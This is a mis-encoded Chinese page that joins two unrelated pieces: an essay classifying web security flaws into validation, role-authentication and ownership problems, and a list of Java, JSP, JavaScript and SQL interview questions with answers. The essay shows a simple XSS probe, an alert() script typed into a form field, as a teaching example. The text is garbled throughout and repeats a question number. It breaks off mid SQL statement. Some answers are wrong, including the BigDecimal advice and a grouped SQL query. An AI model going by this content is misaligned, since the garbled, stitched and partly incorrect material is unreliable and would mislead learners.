在這里我并不否認(rèn)各種命名與歸類方式,也不評價(jià)其命名的合理性與否,我想告訴大家的是,形形色色的安全漏洞中,其實(shí)所蘊(yùn)含安全問題本質(zhì)往往只有幾個(gè)。 我個(gè)人把Web應(yīng)用程序安全性本質(zhì)問題歸結(jié)以下三個(gè)部分: ?
1、輸入/輸出驗(yàn)證(Input/output validation) ?
2、角色驗(yàn)證或認(rèn)證(Role authentication ) ?
3、所有權(quán)驗(yàn)證(Ownership authentication) ?
?
說到這,讀者一定想知道我這三種分類與形形色色的安全性問題有什么關(guān)系?下面我逐個(gè)給您概略解答: ?
??
輸入/輸出驗(yàn)證 ?
這里的輸入與輸出其實(shí)都是發(fā)生在用戶界面(User Interface)這一個(gè)層面上的,比如:你某一站點(diǎn)上提交一份注冊信息,往往會收到諸多提示:“用戶名非法”,“姓名不能使用英文“......其實(shí)這就是輸入驗(yàn)證的一個(gè)實(shí)例。 ?
?
什么情況是輸出呢?比如說你成功提交一份注冊信息后,系統(tǒng)會返回一個(gè)確認(rèn)頁(Registerred Confirmation),往往在這個(gè)頁面上會顯示你注冊時(shí)提交的部分或全部信息,那么在這里顯示的信息就是我所說的輸出實(shí)例之一。 ?
?
輸入需要做什么驗(yàn)證? ?
假如你在提交時(shí),在Address那一欄輸入:<script>alert("iwebsecurity");</script>, 當(dāng)你到達(dá)注冊的確認(rèn)頁時(shí),會有什么發(fā)生?如果確認(rèn)頁沒有做輸出驗(yàn)證處理,那很顯然會在到達(dá)確認(rèn)頁的時(shí)候出現(xiàn)一個(gè)JavaScript打出的提示框。其實(shí)這就是跨site腳本攻擊的一個(gè)小小的實(shí)例。當(dāng)然了,單純的輸入/輸出驗(yàn)證涉及的面可能夠?qū)懸恍”緯?#xff0c;努力在后續(xù)文章中給大家詳解。 ?
??
角色驗(yàn)證或認(rèn)證 ?
我們就拿CSDN來說吧,用戶有這些角色: ?
其一可以說是游客,就是瀏覽者沒有登錄時(shí)的角色; ?
其二是免費(fèi)的注冊用戶;或許將來CSDN深入發(fā)展了,業(yè)務(wù)有所更新,還會出現(xiàn)收費(fèi)的注冊用戶。 ?
以上只是用戶角色,那在CSDN公司內(nèi)部還會有管理員角色,還有可能管理員又可以根據(jù)板塊分為各種不同的角色。大家看到了吧,你天天訪問的CSDN一共可能有多少角色? ?
?
接下來的問題就是權(quán)限問題了,為什么會有角色? ?
就是為了控制權(quán)限的。每種角色都有自己特定的與公共的權(quán)限,這些權(quán)限的邏輯關(guān)系是相當(dāng)復(fù)雜的,如果一個(gè)Web應(yīng)用在角色上沒有一個(gè)詳細(xì)的合理的設(shè)計(jì),將會給開發(fā)人員帶來無限痛苦和麻煩。 ?
那現(xiàn)在我要問幾個(gè)問題:你能保證每種角色只能做其份內(nèi)的事兒?你是如何去保證的呢?方法可靠嗎?有沒有漏洞?...... 這,就是我要說的角色驗(yàn)證或認(rèn)證。 ?
?
BTW(By the way順便說一下):為什么我會說驗(yàn)證或認(rèn)證呢? ?
你可以這么理解,角色性存在于兩個(gè)階段: ?
其一進(jìn)入階段,比如你登錄的那一瞬間,你進(jìn)入了一個(gè)特定的角色; ?
另一個(gè)階段就是維持階段,你如何確保你登錄后總是以登錄時(shí)的身份在操作呢? ?
那前者可以說是:認(rèn)證,后者就是驗(yàn)證了。(有點(diǎn)羅嗦不?) ?
?
給一個(gè)角色認(rèn)證/驗(yàn)證方面的虛擬案例,比如:一個(gè)在線電影服務(wù)提供商,會免費(fèi)給您開一個(gè)試用角色,如果這試用角色驗(yàn)證不當(dāng),可能會導(dǎo)致用戶權(quán)限提升而成為一個(gè)合法的收費(fèi)用戶,而這個(gè)收費(fèi)用戶你往往卻收不到他的任何費(fèi)用。 ?
??
所有權(quán)驗(yàn)證 ?
這個(gè)問題的存在也是基于角色的,只不過它所關(guān)心的是同級別的角色之間的權(quán)限問題。 ?
就拿CSDN來說吧,我是CSDN的一個(gè)免費(fèi)用戶,你也是。 ?
?
現(xiàn)在的問題是:我可以替你操作嗎,我可以替你發(fā)表文章嗎?我能修改你的個(gè)性設(shè)置嗎? ?
如果不能,CSDN是如何實(shí)現(xiàn)的?雖然你和我都是普通用戶,但是你有你的隱私我也有我的隱私,如何保證嚴(yán)格的所有權(quán)驗(yàn)證就顯得尤為關(guān)鍵了。 ?
?
比較簡單吧,這就是我所說的所有權(quán)驗(yàn)證。 ?
??
我可以很自信的告訴你,只要是Web應(yīng)用安全性問題,它逃不出在這三大部分。 ?
可能你還無法把形形色色的Web應(yīng)用安全性問題與這三個(gè)部分對應(yīng)并合理的解釋清楚,但是確實(shí)只有這么簡單的幾個(gè)部分。如果您有疑問,可以以評論的方式提問。我可能會回復(fù),也可能會以另一篇文章的形式出現(xiàn),以供大家參考。 ?
??
問題9、Filter過濾器功能和用法有哪些,是什么? ?
??
Filter過濾器: ?
Filter與Servlet相似,過濾器是一些Web應(yīng)用程序組件,可以綁定到一個(gè)Web應(yīng)用程序中。但是與其他Web應(yīng)用程序組件不同的是,過濾器是"鏈"在容器的處理過程中的。這就意味著它們會在Servlet處理器之前訪問一個(gè)進(jìn)入的請求,并且在外發(fā)響應(yīng)信息返回到客戶前訪問這些響應(yīng)信息。這種訪問使得過濾器可以檢查并修改請求和響應(yīng)的內(nèi)容。 ?
它與Servlet的區(qū)別在于:它不能直接向用戶生成響應(yīng)。 ?
完整的Filter流程是: ?
Filter對用戶請求進(jìn)行預(yù)處理,接著將請求交給Servlet進(jìn)行處理并生成響應(yīng),最后Filter再對服務(wù)器響應(yīng)進(jìn)行后處理。 ?
??
Filter作用: ?
在HttpServletRequest到達(dá)Servlet之前,攔截客戶的HttpServletRequest請求 ?
根據(jù)需要檢查HttpServletRequest,也可以對HttpServletRequest頭和數(shù)據(jù)進(jìn)行修改 ?
在HttpServletResponse到達(dá)客戶端之前,攔截HttpServletResponse ?
根據(jù)需要檢查HttpServletResponse,也可以對HttpServletResponse頭和數(shù)據(jù)進(jìn)行修改 ?
Filter可以攔截多個(gè)請求和響應(yīng),一個(gè)請求和響應(yīng)可以被多個(gè)Filter攔截 ?
??
Filter種類: ?
用戶授權(quán)的Filter:Filter負(fù)責(zé)檢查用戶的請求,根據(jù)請求過濾用戶的非法請求 ?
日志Filter:詳細(xì)記錄用戶的請求信息 ?
負(fù)責(zé)解碼的Filter:對非標(biāo)準(zhǔn)編碼的解碼 ?
能改變XML內(nèi)容的XSLT Filter等 ?
??
Filter的實(shí)現(xiàn): ?
創(chuàng)建Filter處理類:Filter處理類必須實(shí)現(xiàn)javax.servlet.Filter接口。該接口有3個(gè)方法: ?
public void init(FilterConfig arg0) throws ServletException ?
用于初始化Filter,只會在Web容器啟動的時(shí)候自動調(diào)用而且只調(diào)用一次,FilterConfig 封裝了Filter配置參數(shù)(init-param)內(nèi)容信息,初始化的時(shí)候可以直接拿出來 ?
在acegi安全認(rèn)證中FilterConfig封裝的是被代理對象 ?
public void doFilter(ServletRequest req, ServletResponse res,FilterChain chain) throws IOException,ServletException ?
用于實(shí)現(xiàn)過濾的方法,該方法會在每次請求中調(diào)用,或每次響應(yīng)中調(diào)用 ?
ServletRequest 封裝了請求信息,ServletResponse 封裝了響應(yīng)信息 ?
在chain.doFilter(req, res);代碼執(zhí)行之前進(jìn)行的處理是對請求的預(yù)處理,在chain.doFilter(req, res);代碼執(zhí)行之后執(zhí)行的處理是對響應(yīng)進(jìn)行的后處理,一般擁有權(quán)限的才調(diào)用chain.doFilter(req, res);方法或者跳轉(zhuǎn)到錯誤頁面 ?
public void destroy() ??
用于進(jìn)行資源釋放,當(dāng)過濾處理完畢后會調(diào)用該方法。 ?
Web.xml中配置Filter: ?
配置Filter名,如下: ?
<filter> ? ?
<filter-name>myFilter</filter-name> ?
<filter-class>com.lanp.MyFilter</filter-class> ?
<init-param> ?
<param-name>super_role</param-name> ?
<param-value>lanp</param-value> ?
</init-param> ?
</filter> ?
配置Filter名,如下: ?
<filter-mapping> ?
<filter-name>myFilter</filter-name> ?
<url-pattern>/*</url-pattern> ?
</filter-mapping> ?
??
2013年9月1日:易度軟件開發(fā) ?
??
問題1、如何格式化double數(shù)據(jù),保留小數(shù)點(diǎn)后x位,有多少種方式? ?
??
這里我們拿 Math.PI 來討論,保留兩位小數(shù)點(diǎn) 。(PI = 3.141592653589793)圓周率π ?
??
=================================================== ?
【方案1】 ?
Math.round( Math.PI * 100 ) /100.0 ?
??
Math.PI * 100 = 314.1592653589793 ?
Math.round(314.1592653589793) = 314 ?
314 / 100.0 = 3.14 (注意這里要除以 100.0 ,如果除以100的話,會是整除) ?
=================================================== ?
【方案2】 ?
String.format( "%.2f", Math.PI ) ?
??
String類的靜態(tài)方法 ?
=================================================== ?
【方案3】 ?
new DecimalFormat("#.00").format(Math.PI) ?
??
java.text.DecimalFormat ?
=================================================== ?
【方案4】 ?
new BigDecimal(Math.PI).setScale(2, BigDecimal.ROUND_HALF_UP).doubleValue() ?
??
特殊說明下,要用BigDecimal(String s)這個(gè)構(gòu)造方法,不能直接傳double的參數(shù),不然四舍五入有問題的 ?
java.math.BigDecimal ?
=================================================== ?
【方案5】 ?
NumberFormat nf = NumberFormat.getNumberInstance(); ??
nf.setMaximumFractionDigits(2); ?
nf.format(Math.PI); ?
??
java.text.NumberFormat ?
=================================================== ?
【方案6】 ?
先轉(zhuǎn)字符串,然后 substring截取 ?
??
截取小數(shù)點(diǎn)后N位(先定位小數(shù)點(diǎn)位置):得到i ?//i表示小數(shù)點(diǎn)位置+N ?
定位小數(shù)點(diǎn)截取subString(0,i+1); ? ? ? ? ? ? ? ?//差不多這個(gè)意思... ?
=================================================== ?
??
??
問題2、JAVA實(shí)現(xiàn)從10~50中隨機(jī)生成50個(gè)數(shù),統(tǒng)計(jì)出現(xiàn)的數(shù)字及次數(shù),輸出出現(xiàn)最多的次數(shù)及對應(yīng)的數(shù)字,按數(shù)字升序排列? ?
??
public static void main(String[] args) { ?
? ? ? ? TreeMap<Integer, Integer> map = new TreeMap<Integer, Integer>(); ?
? ? ? ? for (int i = 0; i < 50; i++) { ?
? ? ? ? ? ? // random*41就是范圍從0-40內(nèi),+10為10到50 ?
? ? ? ? ? ? int number = (int) (Math.random() * 41) + 10; ?
? ? ? ? ? ? System.out.print(number + " "); ?
? ? ? ? ? ? ??
? ? ? ? ? ? //統(tǒng)計(jì)次數(shù),如果map里存在了+1,不存在則存入 ?
? ? ? ? ? ? if (map.containsKey(number)) { ?
? ? ? ? ? ? ? ? map.put(number, map.get(number) + 1); ?
? ? ? ? ? ? } else { ?
? ? ? ? ? ? ? ? map.put(number, 1); ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(); ?
? ? ? ? Collection cols = map.values();//獲取map的鍵值對里值的集合 ?
? ? ? ? int max = Collections.max(cols);//獲取最大次數(shù) ?
? ? ? ? ??
? ? ? ? List list = new ArrayList(); ?
??
? ? ? ? Iterator it = map.entrySet().iterator();//獲取迭代器 ?
??
? ? ? ? while (it.hasNext()) { ?
? ? ? ? ? ? Map.Entry entry = (Map.Entry) it.next(); ?
? ? ? ? ? ? Integer key = (Integer) entry.getKey(); ?
? ? ? ? ? ? Integer val = (Integer) entry.getValue(); ?
? ? ? ? ? ? ??
? ? ? ? ? ? //如果與最大次數(shù)相同則增加到集合中 ?
? ? ? ? ? ? if (val == max) { ?
? ? ? ? ? ? ? ? list.add(key); ?
? ? ? ? ? ? } ?
? ? ? ? ? ? System.out.println(key + "出現(xiàn)的次數(shù)為:" + val); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println("出現(xiàn)的最大次數(shù)為:" + max); ?
??
? ? ? ? Iterator maxNum = list.iterator(); ?
? ? ? ? while (maxNum.hasNext()) { ?
? ? ? ? ? ? System.out.println("這些數(shù)字是:" + maxNum.next()); ?
? ? ? ? } ?
? ? } ?
??
問題3、Final、finally、finalize的區(qū)別? ?
??
Final用于聲明屬性,方法和類,分別表示屬性不可變,方法不可覆蓋,類不可繼承。 ??
因此一個(gè)類不能既被聲明為 abstract的,又被聲明為final的。 ?
將變量或方法聲明為final,可以保證它們在使用中不被改變。 ?
被聲明為final的變量必須在new一個(gè)對象時(shí)初始化(即只能在聲明變量或構(gòu)造器或代碼塊內(nèi)初始化),而在以后的引用中只能讀取,不可修改。 ?
被聲明為final的方法也同樣只能使用,不能覆蓋(重寫)。 ?
?
finally是異常處理語句結(jié)構(gòu)的一部分,表示總是執(zhí)行。 ?
??
finalize是Object類的一個(gè)方法,在垃圾收集器執(zhí)行的時(shí)候會調(diào)用被回收對象的此方法,可以覆蓋此方法提供垃圾收集時(shí)的其他資源回收,例如關(guān)閉文件等。JVM不保證此方法總被調(diào)用。 ?
方法名,Java 技術(shù)允許使用 finalize() 方法在垃圾收集器將對象從內(nèi)存中清除出去之前做必要的清理工作。這個(gè)方法是由垃圾收集器在確定這個(gè)對象沒有被引用時(shí)對這個(gè)對象調(diào)用的。 ?
它是在 Object 類中定義的,因此所有的類都繼承了它。 ?
子類覆蓋 finalize() 方法以整理系統(tǒng)資源或者執(zhí)行其他清理工作。finalize() 方法是在垃圾收集器刪除對象之前對這個(gè)對象調(diào)用的。 ?
注意:finalize不一定被JVM調(diào)用,只有當(dāng)垃圾回收器要清除垃圾時(shí)才被調(diào)用。 ?
?
問題4、如何將int、char、boolean類型的數(shù)據(jù)轉(zhuǎn)換為字符串類型? ?
??
String.valueOf(i); ?
Integer.toString(i); Character.toString(i);Boolean.toString(i); ?
String s = "" + i; ?
?
問題5、如何將字符串類型轉(zhuǎn)換為int、boolean類型? ?
?
Integer.parseInt(String); ? ?
Integer.valueOf(String).intValue(); ?
?
Boolean.parseBoolean("true"); ?
Boolean.valueOf("true").booleanValue(); ?
?
?
問題6、以下代碼的運(yùn)行結(jié)果? ?
?
String a = "xyz"; ?
? ? ? ? String b = "xyz"; ?
? ? ? ? String c = new String("xyz"); ?
? ? ? ? String k = "xy" + "z"; ?
? ? ? ? ??
? ? ? ? System.out.println(a == b); ? ? //true ?
? ? ? ? System.out.println(b == c); ? ? //false ?
? ? ? ? System.out.println(b.equals(c));//true ?
? ? ? ? System.out.println(a == k); ? ? //true ?
?System.out.println(a.equals(k));//true ?
?
問題7、以下代碼會發(fā)生什么問題? ?
?
for (double k = 0.5;; k = k + 0.1) { ?
? ? ? ? ? ? if (k == 1) { ?
? ? ? ? ? ? ? ? break; ?
? ? ? ? ? ? } ?
? ? ? ? } ?
?
Double會發(fā)生精度丟失問題,造成死循環(huán) ?
?
問題8、概述MVC體系結(jié)構(gòu)? ?
?
MVC是Model-View-Controller的簡寫。 ?
M代表業(yè)務(wù)邏輯層(通過JavaBean,EJB組件實(shí)現(xiàn))。 ?
V是視圖層(由JSP頁面產(chǎn)生)。 ?
C屬于控制層(一般可以用基礎(chǔ)的Servlet實(shí)現(xiàn),也可用Struts等開源框架實(shí)現(xiàn)) ?
通過這種設(shè)計(jì)模型把應(yīng)用邏輯,處理過程和顯示邏輯分成不同的組件實(shí)現(xiàn)。這些組件可以進(jìn)行交互和重用。 ?
??
問題9、現(xiàn)有一個(gè)頁面,如何記錄該頁面的訪問次數(shù),有哪些實(shí)現(xiàn)方式? ?
??
使用監(jiān)聽器當(dāng)Session建立時(shí)sessionCreated(),存放在Application里的訪問次數(shù)+1 ?
??
使用JavaScript在頁面打開時(shí),往后臺發(fā)送一個(gè)請求,瀏覽次數(shù)+1 ?
window.οnlοad=function(){ ?
// 此處發(fā)送異步請求,瀏覽次數(shù)+1 ?
} ?
??
問題10、JSP標(biāo)準(zhǔn)標(biāo)簽庫中常用的標(biāo)簽有哪些? ?
??
< c:out>、<c:if>、<c:choose>、<c:forEach>、<c:url>、<c:redirect>、<c:param> ?
??
問題11、頁面中html代碼片段如下,請問 infoArea 的背景顏色是什么,并請解析原因? ?
??
<style type="text/css"> ?
? ? ? ? .green {background-color:green} ?
</style> ?
?
<div id="infoArea" class="green" ??
style="background-color:red; width:100px; height:50px"></div> ?
??
infoArea的背景色是紅色,因?yàn)閟tyle的權(quán)重是1000,而類選擇器的權(quán)重僅為10,優(yōu)先級判斷為style ?
??
CSS規(guī)范為不同類型的選擇器定義了特殊性權(quán)重,特殊性權(quán)重越高,樣式會被優(yōu)先應(yīng)用。 ?
權(quán)重設(shè)定如下: ??
html選擇器,權(quán)重為1 ?
類選擇器,權(quán)重為10 ?
id選擇器,權(quán)重為100 ?
內(nèi)聯(lián)樣式style,權(quán)重為1000 ?
這里還有一種情況:在html標(biāo)簽中直接使用style屬性,這里的style屬性的權(quán)重為1000; ?
??
問題12、寫一段js腳本將 infoArea的高度改為200px。最好能使用jquery語法? ?
??
$(function(){ ?
? ? ? ? $("#infoArea").css({"height":"200px"}); ?
}); ?
??
問題13、頁面上有2個(gè)按鈕Button1和Button2;當(dāng)點(diǎn)擊Button1時(shí),顯示div1,隱藏div2;當(dāng)點(diǎn)擊Button2時(shí),顯示div2,隱藏div1,如何實(shí)現(xiàn)? ?
??
<input type="button" id="Button1" value="Button1"> ?
<input type="button" id="Button2" value="Button2"> ?
<div id="div1">div1</div> ?
<div id="div2">div2</div> ?
??
??
$(function(){ ?
? ? ? ? $("#Button1").click(function(){ ?
? ? ? ? ? ? $("#div2").hide(); ?
? ? ? ? ? ? $("#div1").show(); ?
? ? ? ? }); ?
? ? ? ? $("#Button2").click(function(){ ?
? ? ? ? ? ? $("#div1").hide(); ?
? ? ? ? ? ? $("#div2").show(); ?
? ? ? ? }); ?
? ? }); ?
??
問題14、使用JSTL標(biāo)簽,將dataList數(shù)據(jù)以表格方式展現(xiàn)。(假設(shè)標(biāo)簽庫已引入,<%@taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>) ?
??
<% ?
? ? ? ? ? ? List<Map<String, Object>> dataList = new ArrayList<Map<String, Object>>(); ?
??
? ? ? ? ? ? Map<String, Object> dataMap = new HashMap<String, Object>(); ?
? ? ? ? ? ? dataList.add(dataMap); ?
? ? ? ? ? ? dataMap.put("ID", "1001"); ?
? ? ? ? ? ? dataMap.put("NAME", "張三"); ?
? ? ? ? ? ? dataMap.put("SCORES", 90); ?
??
? ? ? ? ? ? dataMap = new HashMap<String, Object>(); ?
? ? ? ? ? ? dataList.add(dataMap); ?
? ? ? ? ? ? dataMap.put("ID", "1002"); ?
? ? ? ? ? ? dataMap.put("NAME", "李四"); ?
? ? ? ? ? ? dataMap.put("SCORES", 95); ?
? ? ? ? ? ? ??
? ? ? ? ? ? pageContext.setAttribute("dataList",dataList); ?
? ? ? ? %> ?
??
...... ?
??
工號 ?名稱 ?分?jǐn)?shù) ?
1001 ? ?張三 ?90 ?
...... ?...... ?...... ?
??
代碼如下: ?
??
<table border="1" width="50%"> ?
? ? ? ? ? ? <tr> ?
? ? ? ? ? ? ? ? <td>工號</td><td>姓名</td><td>分?jǐn)?shù)</td> ?
? ? ? ? ? ? </tr> ?
? ? ? ? ? ? <c:forEach var="dataMap" items="${dataList}"> ?
? ? ? ? ? ? ? ? <c:forEach var="data" items="${dataMap}"> ?
? ? ? ? ? ? ? ? ? ? <c:if test="${data.key=='ID'}"> ?
? ? ? ? ? ? ? ? ? ? ? ? <c:set var="id" value="${data.value}"></c:set> ?
? ? ? ? ? ? ? ? ? ? </c:if> ?
? ? ? ? ? ? ? ? ? ? <c:if test="${data.key=='NAME'}"> ?
? ? ? ? ? ? ? ? ? ? ? ? <c:set var="name" value="${data.value}"></c:set> ?
? ? ? ? ? ? ? ? ? ? </c:if> ?
? ? ? ? ? ? ? ? ? ? <c:if test="${data.key=='SCORES'}"> ?
? ? ? ? ? ? ? ? ? ? ? ? <c:set var="scores" value="${data.value}"></c:set> ?
? ? ? ? ? ? ? ? ? ? </c:if> ?
? ? ? ? ? ? ? ? </c:forEach> ?
? ? ? ? ? ? ? ? <tr> ?
? ? ? ? ? ? ? ? ? ? <td>${id}</td><td>${name}</td><td>${scores}</td> ?
? ? ? ? ? ? ? ? </tr> ?
? ? ? ? ? ? </c:forEach> ?
? ? ? ? </table> ?
??
問題15、數(shù)據(jù)庫編程題? ?
??
表名:g_cardapply ?
字段(字段名/類型/長度): ?
g_applyno ? ? ? varchar ? ? 8;//申請單號(關(guān)鍵字) ?
g_applydate ? ? bigint ? ? ?8;//申請日期 ?
g_state ? ? ? ? varchar ? ? 2;//申請狀態(tài) ?
? ?
表名:g_cardapplydetail ?
字段(字段名/類型/長度): ?
g_applyno ? ? ? varchar ? ? 8;//申請單號(關(guān)鍵字) ?
g_name ? ? ? ? ?varchar ? ? 30;//申請人姓名 ?
g_idcard ? ? ? ?varchar ? ? 18;//申請人身份證號 ?
g_state ? ? ? ? varchar ? ? 2;//申請狀態(tài) ?
??
其中,兩個(gè)表的關(guān)聯(lián)字段為申請單號。 ?
??
建表語句: ?
??
DROP DATABASE IF EXISTS yidu; ?
CREATE DATABASE yidu; ?
??
USE yidu; ?
??
DROP TABLE IF EXISTS g_cardapply; ?
CREATE TABLE g_cardapply( ?
g_applyno VARCHAR(8), ?
g_applydate BIGINT(8), ?
g_state VARCHAR(2), ?
PRIMARY KEY ?(g_applyno) ?
); ?
??
DROP TABLE IF EXISTS g_cardapplydetail; ?
CREATE TABLE g_cardapplydetail( ?
g_applyno VARCHAR(8), ?
g_name VARCHAR(30), ?
g_idcard VARCHAR(18), ?
g_state VARCHAR(2), ?
PRIMARY KEY ?(g_applyno) ?
); ?
??
INSERT INTO g_cardapply values("12345677",13780512,"01"); ?
INSERT INTO g_cardapply values("12345678",13780512,"02"); ?
INSERT INTO g_cardapply values("12345679",13780512,"01"); ?
INSERT INTO g_cardapply values("12345680",13780512,"02"); ?
??
INSERT INTO g_cardapplydetail values("12345677","陳太上","12345678910","01"); ?
INSERT INTO g_cardapplydetail values("12345678","陳太上","12345678910","02"); ?
INSERT INTO g_cardapplydetail values("12345679","李小龍","12345678911","01"); ?
INSERT INTO g_cardapplydetail values("12345680","李小龍","12345678911","02"); ?
??
SELECT * FROM g_cardapply; ?
SELECT * FROM g_cardapplydetail; ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
select from_unixtime(1378051200000/1000);#BIGINT轉(zhuǎn)datetime ?
select UNIX_TIMESTAMP('2013-09-02')/100;#time轉(zhuǎn)BIGINT ?
??
查詢身份證號碼為440401430103082的申請日期 ?
??
SELECT gc.g_applydate ??
FROM g_cardapply gc,g_cardapplydetail gcd ??
WHERE gc.g_applyno = gcd.g_applyno AND ??
gcd.g_idcard = '440401430103082'; ?
??
查詢同一個(gè)身份證號碼有兩條以上記錄的身份證號碼及記錄個(gè)數(shù) ?
??
SELECT g_idcard,count(g_idcard) ??
FROM g_cardapplydetail ??
group by g_idcard ??
having count(g_idcard)>=2; ?
??
將身份證號碼為440401430103082的記錄在兩個(gè)表中的申請狀態(tài)均改為07; ?
??
UPDATE g_cardapply SET g_state='07' ??
WHERE g_applyno in ??
(SELECT g_applyno FROM g_cardapplydetail ??
WHERE g_idcard='440401430103082'); ?
??
刪除g_cardapplydetail表中所有姓李的記錄 ?
??
DELETE FROM g_cardapplydetail ??
WHERE g_name like '李%'; ?
??
問題16、數(shù)據(jù)庫編程題,學(xué)生表(student{studentId, groupId, studentName, score})和興趣小組表(study_group{groupId,groupName})關(guān)聯(lián)如下圖。 ?
??
學(xué)校每個(gè)學(xué)生都可以選擇參加一個(gè)興趣小組(也可以不參加)。問: ?
建表語句: ?
DROP DATABASE IF EXISTS yidu; ?
CREATE DATABASE yidu; ?
??
USE yidu; ?
??
DROP TABLE IF EXISTS study_group; ?
CREATE TABLE study_group( ?
groupId VARCHAR(38), ?
groupName VARCHAR(30), ?
PRIMARY KEY ?(groupId) ?
); ?
??
DROP TABLE IF EXISTS student; ?
CREATE TABLE student( ?
studentId VARCHAR(38), ?
groupId VARCHAR(38), ?
studentName VARCHAR(10), ?
score NUMERIC(4,1), ?
PRIMARY KEY ?(studentId), ?
CONSTRAINT fk_gid FOREIGN KEY(groupId) REFERENCES study_group(groupId) ?
); ?
??
??
INSERT INTO study_group values("123","一組"); ?
INSERT INTO study_group values("124","二祖"); ?
??
INSERT INTO student values("1","123","陳一",90.9); ?
INSERT INTO student values("2","123","陳二",81.9); ?
INSERT INTO student values("3","124","陳三",93.9); ?
INSERT INTO student values("4","124","陳四",70.9); ?
INSERT INTO student values("5",null,"陳五",60.9); ?
INSERT INTO student values("6",null,"陳六",80.9); ?
??
SELECT * FROM study_group; ?
SELECT * FROM student; ?
??
用一條SQL查出各小組成績最優(yōu)秀的學(xué)生,需要查出<小組名稱、學(xué)生名稱、成績> ?
??
SELECT sgp.groupName,stu.studentName,max(stu.score) ??
FROM student stu,study_group sgp ??
WHERE stu.groupId = sgp.groupId ??
GROUP BY sgp.groupName; ?
??
??
??
將所有沒有參加小組的學(xué)生的活動成績更新為0 ?
??
UPDATE student set score = 0 ??
WHERE groupId IS NULL; ?
??
用一條sql查出所有學(xué)生參加興趣小組的情況,需要查出<學(xué)生名稱、小組名稱>如果學(xué)生沒有參加小組,則小組名稱返回“沒有參加小組” ?
??
SELECT stu.studentName,IFNULL(sgp.groupName ,'沒有參加小組') ?
FROM student stu LEFT JOIN study_group sgp ?
on stu.groupId = sgp.groupId; ?
??
問題17、用程序在控制臺打印出所有由1、2、3、4組合出來的4位數(shù),不可重復(fù)出現(xiàn)同一個(gè)數(shù)字 ?
??
/** ?
? ? ? ? ?* 本法是輸入1,2,3,4不重復(fù)的4位數(shù) ?
? ? ? ? ?*一個(gè)循環(huán)是代表一個(gè)位數(shù),在最后一層中做個(gè)判斷并輸出,就可以顯示了。 ?
? ? ? ? ?*/ ?
? ? ? ? for (int i = 1; i < 5; i++) { ?
? ? ? ? ? ? for (int j = 1; j < 5; j++) { ?
? ? ? ? ? ? ? ? for (int m = 1; m < 5; m++) { ?
? ? ? ? ? ? ? ? ? ? for (int n = 1; n < 5; n++) { ?
? ? ? ? ? ? ? ? ? ? ? ? if (i != j && i != m && i != n && j != m && j != n ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? && m != n) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.println(i + "" + j + "" + m + "" + n); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
??
問題18、請用jQuery或任一AJAX框架寫一個(gè)異步提交請求,要求有成功處理回調(diào)函數(shù)、失敗回調(diào)函數(shù),使用json格式傳遞數(shù)據(jù)。(具體業(yè)務(wù)參數(shù)、業(yè)務(wù)邏輯可留空) ?
??
回調(diào)函數(shù): ?
代表請求返回內(nèi)容的 data; 代表請求狀態(tài)的 textStatus 對象和 XMLHttpRequest 對象 ?
?
$.post(url,{"username":"java"},function(backData,status,xhr){ ?
? ? ? ? ? ? if(status=="success"){ ?
? ? ? ? ? ? ? ? ??
? ? ? ? ? ? }else{ ?
? ? ? ? ? ? ? ? ??
? ? ? ? ? ? } ?
? ? ? ? }); ?
??
??
問題19、將頁面所有table邊框顏色設(shè)置為#66FFCC,table里面的th元素里的文字大小設(shè)為13px,td里的文字大小設(shè)為12px? ?
??
<style type="text/css"> ?
? ? ? ? ? ? table{border-color: #66FFCC} ?
? ? ? ? ? ? table th{font-size: 13px} ?
? ? ? ? ? ? table td{font-size: 12px} ?
? ? ? ? </style> ?
??
問題20、將頁面id為form1的Form表單背景顏色設(shè)為#66FFCC? ?
??
??
??
<style type="text/css"> ?
? ? ? ? ? ? #form1{background: #66FFCC} ?
? ? ? ? </style> ?
??
問題21、要求用js將下列html中class=”a”的<li/>標(biāo)簽的innerText填充為”hello world”。 ?
??
??
??
function add(){ ?
? ? ? ? ? ? var lis = document.getElementsByTagName("li"); ?
??
? ? ? ? ? ? for(var i=0; i <lis.length; i++){ ?
? ? ? ? ? ? ? ? if(lis[i].className=="a"){ ?
? ? ? ? ? ? ? ? ? ? lis[i].innerText="hello world"; ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
??
? ? ? ? add(); ?
??
問題22、請用流復(fù)制的方式,完成以下文件復(fù)制方法,不許使用第三方類庫? ?
??
public void copyFile(String sourceFilePath, String targetFilePath) throws Exception { ?
??
? ? ? ? FileInputStream fis=new FileInputStream(sourceFilePath); ?
? ? ? ? FileOutputStream fos=new FileOutputStream(targetFilePath); ?
? ? ? ? ??
? ? ? ? byte[] byt=new byte[1024];//緩沖區(qū) ?
? ? ? ? int len=0; ?
? ? ? ? ??
? ? ? ? while((len=fis.read(byt))>0){ ?
? ? ? ? ? ? fos.write(byt,0,len); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? fis.close(); ?
? ? ? ? fos.close(); ?
} ?
??
問題23、用程序在控制臺輸出101-199之間所有質(zhì)數(shù)(大于1且不能被1或自己以外的自然數(shù)? ?
??
for (int i = 101; i < 200; i++) { ?
? ? ? ? ? ? int a = 0; ?
? ? ? ? ? ? for (int j = 1; j <= i; j++) { ?
? ? ? ? ? ? ? ? if (i % j == 0) { ?
? ? ? ? ? ? ? ? ? ? //第一次是被1整除,第二次是被自己整除 ?
? ? ? ? ? ? ? ? ? ? a++; ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? if (i == j && a == 2) { ?
? ? ? ? ? ? ? ? ? ? System.out.println(i); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
??
問題24、數(shù)據(jù)庫編程題 ?
有一張部門表sec_dept ?
dept_id varchar2(38) ? ?dept_name varchar2(100) parent_id varchar(38) ?
部門id ? ?部門名稱 ? ?上級部門id ?
??
建表語句: ?
DROP TABLE sec_dept; ?
CREATE TABLE sec_dept( ?
